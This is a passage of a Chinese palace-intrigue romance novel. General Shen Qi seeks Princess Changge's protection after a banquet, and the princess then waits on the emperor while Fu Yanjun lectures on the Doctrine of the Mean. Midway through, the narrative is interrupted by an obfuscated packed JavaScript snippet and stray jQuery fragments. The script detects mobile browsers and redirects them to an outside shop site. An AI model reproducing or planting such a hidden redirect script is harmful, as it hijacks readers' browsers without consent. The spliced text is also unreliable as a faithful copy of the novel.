不是凑巧,是他见她离席而特意跟来,他毫不掩饰他的心中所想,时至今日沈岐的直白仍旧一如初见。
长歌心中不由乱了几分,万千思绪缠绕在心间,可话到了嘴边却只道了一句:“沈将军,何出此言?”
沈岐手指微微蜷缩,眨了眨眼睛:“方才殿下替我解围,故而特来拜谢。”
宴席之上又起了歌舞,丝竹声传来宛若游丝般朦朦胧胧。
沈岐顿在一步之远的地方,不敢上前却又不舍离得太远。
他垂眸看着坠在地上的裙摆,是他不曾见过的繁复样式,层叠的裙摆金丝锈边,成簇的花团上那蝴蝶宛若活了过来般,振翅欲飞。
甫一眨眼,那蝴蝶便飞走了,沈岐恍惚了一瞬,随即反应过来是那裙摆的主人往一旁走了几步,他默默跟了上去,仍旧站定在一步之外。
不远不近。
“可沈将军今日一次告罪,一次拜谢,却是皆未行礼。”长歌回首扫了沈岐一眼,声音里带着几分冷意。
沈岐从善如流地躬身一礼,“末将见过长公主殿下,谢殿下方才仗义执言。”
长歌将目光从红袍上挪开,笑道:“不过是捎带罢了,沈将军不必放在心上。”
今日宴席上即便是四皇子不出言,她也会刺他一番,那些罪证早早呈至案前,她不过是再等一个适当的时机。
哪知四皇子竟连带着沈岐一块被讥讽,她便也顺势借了边军做筏,让父皇不得不从重发落。
说来还是她又一次利用了沈岐。
“于殿下看来不过是随口捎带,可于臣而言却是真的破了舞剑的窘境。”沈岐顿了一顿,低声道:“那剑舞一招一式皆是兄长亲手所授,如今父兄灵牌仍未迁进沈府祠堂,这剑舞岂能供人取乐——“
沈岐忽地顿住,仰首看向前方之人。
天色渐晚,亭内未燃烛火,长公主未言免礼,他便仍旧躬着身,一片昏暗中只能瞧见殿下并未看他,那目光不知落在何处。
也幸而此处晦暗不明,僻静无人,他方能于此借机吐露心中所想。
“微臣自当承殿下的情。”
这一句沈岐咬字极慢,最后一个“情”字更是有意拖长,于这寂寥的夜里与风缠绵,稍带了几分暧昧不明的意味。
长歌蹙眉,面上并不动容:“沈将军对谁都这般滴水之恩如涌泉相报吗?
于是沈岐便道:“自然不是,殿下与旁人不同。”
“有何不同?”长歌明知故问。
沈岐躬着的腰又弯了几分,无奈道:“世家势大,王相门生遍布,文臣间党同伐异,武将本就势微,将军府如今仅余微臣一人,臣只身入京,总该择一方势力栖身。”
“你来寻本宫便是向太子投诚?”长歌深深的看了沈岐一眼,旋即恍然道:“是了,你若是去寻太子未免太过显眼,便只得转而由本宫传至太子之耳。”
沈岐飞快地接话,“太子殿下拥簇众多,臣只想寻求殿下庇护。”
“本宫已有监察司,只怕用不上沈将军。”
“可总归有监察司不便出面的事务。”
长歌拂了拂衣袖,摩挲着袖口精细的花纹,却并未接话。
于是沈岐等了几息,起身道:“北离和亲乃是必死之局,且是昱朝先行透去的消息,殿下这京中之人不可信呐……”
他上前一步,欺身而近,意味深长地说:“可臣却不同,臣清清白白并未牵扯其中,殿下您可信我,届时十万西北府边军便以殿下为尊。”
这话语十足的悖逆无道。
“求殿下,怜惜臣。”
长歌敛了笑意,冷冷的看着俯身逼近的沈岐,“监察司谨遵圣命,为何会不便出面?边军是昱朝的军队,是守卫边关护佑昱朝子民的将士。若是本宫将这一番话回禀父皇,你可知你会如何?”
“可殿下会吗?殿下可舍得将臣——”沈岐微微垂首又凑近了几分,轻声呢喃道:“将臣的兵权拱手相让?”
“沈将军可知京都最怕的便是祸从口出,隔墙有耳。”长歌亦凑近了些,贴耳低语。
话落,她便歪着头,意有所指的朝沈岐身后望了一眼,示意他朝身后看去。
沈岐骤然转身,右手朝腰间摸去,不料手中却空无他物,他顿了一息,旋即想起如今身在宫中,不得佩剑,他便又飞快往旁边一步,将长歌挡至身后。
沈岐凝神一瞧,待看清提着灯笼的那人正是落雪时,他不着痕迹的松了一口气。
长歌见他如此情态,不禁笑了笑,那丝竹声方才便已停歇,此处不宜久留,径自朝亭外走去。
沈岐心口一窒,待她从身旁经过时他忽地抬起手,却仅抓到那轻薄的布料,从指缝间缓缓滑过。
他怅然的看着手心,闷声道:“后日便是将父兄灵牌迁至沈府祠堂的日子,殿下可会前来?”
长歌脚步未停,只留下一句:“不会。”
这一瞬心中压抑已久的情绪再抑不住,齐齐翻涌,细细麻麻的痛意由脊骨蔓延至全身,分明他自幼习武,可此刻却连双手握紧都做不到。
沈岐抬头去望,可那一抹红随着光亮于水榭尽头消失,纵有千般思绪却也仅化作一声喟叹……淹于唇齿间。
长歌不知沈岐心中如何作想,日暮沉沉,她只知此刻宴席已散,她当去御书房了。
她接过落雪递来的折子,翻开看了一眼,便问:“珺璟和雯华今日为何未在?”
“珺璟担忧那两人不安分,便留在监察司的暗牢,雯华本是要来赴宴的,可到了宫门时却被禁卫给拦下了,是娘娘的意思。”落雪将披风披上长歌的肩膀,低声道。
御书房内。
皇帝正闭目假寐,手却一下下敲着御案,凌乱的声响昭示着此刻他心中的不宁,傅晏君则是捧着卷《中庸》立于一旁。
“不偏之谓中,不易之谓庸。中者,天下之正道,庸者,天下之定理……”
“不偏、不易,”皇帝睁开双眼,看向一旁的傅晏君,“也是巧了,今日竟念到了此处,不知于晏君看来,四皇子此番可是咎由自取,怨不得旁人?”
傅晏君答道:“臣只知错便是错。”
“朕的这些儿子呀,如今都有了自己的心思。”皇帝叹了叹,又道:“小四也是个蠢的,这些年来光长年岁不长脑子,禁足在宫中也好,免得出了宫便无法无天。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14084835|149520||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>“只怕贵妃又要怨朕偏心了。”皇帝故作困扰,摇了摇头又道:“长歌真是给朕出了个难题,恐怕接连几日都不得安生了。”
说完,他未等傅晏君回话便又阖眸,摆了摆手,“接着往下念罢。”
殿内熏香袅袅升起,如堕烟海,傅晏君眸光闪了闪,继而又将手中书卷打开接着往下念。
“为何陛下日日皆宣傅大人前来讲经?”候在殿外的小太监听到又响起徐徐念书声,有些不解。
虽说傅大人高中状元,可以往却并未见那些状元如此深得圣心,细细一想才发觉如今若是陛下宣人伴驾,十有八九便是傅大人。
另一人便道:“你上回不慎茶水打翻,傅大人都未与你计较,傅大人性子这般好,我可盼着傅大人多来几回。”
“傅大人也是我等能议论的?”许公公不悦的扫了那二人一眼,“御前伺候多打起几分精神,若是往后再冲撞了贵人,小心你那一身皮!”
闻言,那二人噤声,不敢反驳,正欲认错,垂头时余光却瞥见不远处走来的人,便连忙小声道:“公公,殿下来了。”
“见过长公主殿下。”许公公忙不迭的行礼。
长歌淡淡颔首,“劳烦公公通传一声,就说长歌求见。”
“哎呦,殿下您莫要折煞老奴,您进御书房那还需老奴通传呐,陛下可是特意叮嘱,您若来了,与以往一样您直接进去便可。”
门乍一推开,浓郁的熏香便争先涌了出来,再不复往昔龙涎香的气味,长歌屏息踏进殿内,才发觉如今仅是深秋,殿内竟已摆放了好几个火盆。
她心惊,父皇竟比她这个于生死间走了一遭的人还要畏寒。
“何事?”
许公公答道:“回陛下,殿下来了。”
“先去偏殿候着罢,待朕听完这一卷书。”皇帝不咸不淡的声音响起。
长歌倒也不觉意外,应了一声便随许公公去了偏殿。
宴席上她并未遂父皇的意,此刻便被晾到偏殿,已比她预料中候在殿外吹风好,如此一来她心中反而松快了几分。
方才进来还不觉得,一坐下便热得慌,她将披风解了下来放在一旁的塌上。
她坐在偏殿,亦能闻到那浓重的熏香,熏得她有些昏昏沉沉的,恰巧此时许公公端着茶盏走进,她接过抿了口却觉不对。
适时,许公公轻声道:“老奴瞧您好似精神不济,便自作主张泡了盏浓茶。”
长歌诧异的抬眼,挑了挑眉:“多谢公公。”
许公公并未言语,径直退了出去。
傅晏君的声音断断续续的传来,不甚清晰,长歌凝神听了会,才分辨出今日他讲的是《中庸》。
不知为何她忽地记起父皇为她讲学的情态,不偏不易方谓之中庸,少时她的《中庸》是听父皇逐字逐句讲的……
心中刚生出几分惘然,殿内却陡然响起一道低沉的声音。
“长歌,你可知错?”
长歌回过神来,面上闪过一丝惊慌,在皇帝面前半跪下去,“儿臣知错,儿臣不该抓着四皇子刺杀儿臣一事死死不放,不该在宴席之上置皇家脸面于不顾,不该擅自做主与沈岐成婚……”